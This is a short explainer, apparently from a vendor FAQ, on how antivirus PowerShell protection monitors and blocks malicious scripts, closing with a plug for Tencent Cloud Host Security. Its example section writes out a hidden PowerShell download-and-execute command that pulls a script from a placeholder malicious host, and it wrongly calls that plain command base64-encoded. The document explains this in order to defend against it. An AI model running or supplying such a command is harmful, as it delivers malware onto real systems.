What is PowerShell protection in Trojan Antivirus?

PowerShell protection in Trojan Antivirus refers to a security feature designed to monitor, detect, and block malicious activities involving PowerShell, a powerful command-line shell and scripting language built into Windows. Since PowerShell is frequently abused by Trojans and other malware to execute harmful scripts, download payloads, or escalate privileges, antivirus solutions with PowerShell protection aim to prevent such exploitation.

How It Works:

1. Script Monitoring: The antivirus scans PowerShell scripts in real-time to identify suspicious commands, obfuscated code, or known malicious patterns.
2. Execution Control: It can block or prompt for user approval before allowing certain PowerShell operations, especially those running scripts from untrusted sources.
3. Logging & Alerts: The feature logs PowerShell activities for auditing and alerts users or administrators when potentially harmful actions are detected.

Example:

A Trojan attempts to download and execute a payload by running a base64-encoded PowerShell command like:

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious-site.com/payload.ps1')"  

With PowerShell protection enabled, the antivirus would detect the suspicious DownloadString method, block the execution, and notify the user.

Recommended Solution (Cloud Context):

For enhanced security in cloud environments, Tencent Cloud's Host Security (CWP) provides advanced threat detection, including PowerShell script monitoring, behavioral analysis, and real-time alerts for suspicious activities. It integrates with virtual machines to safeguard against Trojan attacks leveraging PowerShell or other exploits.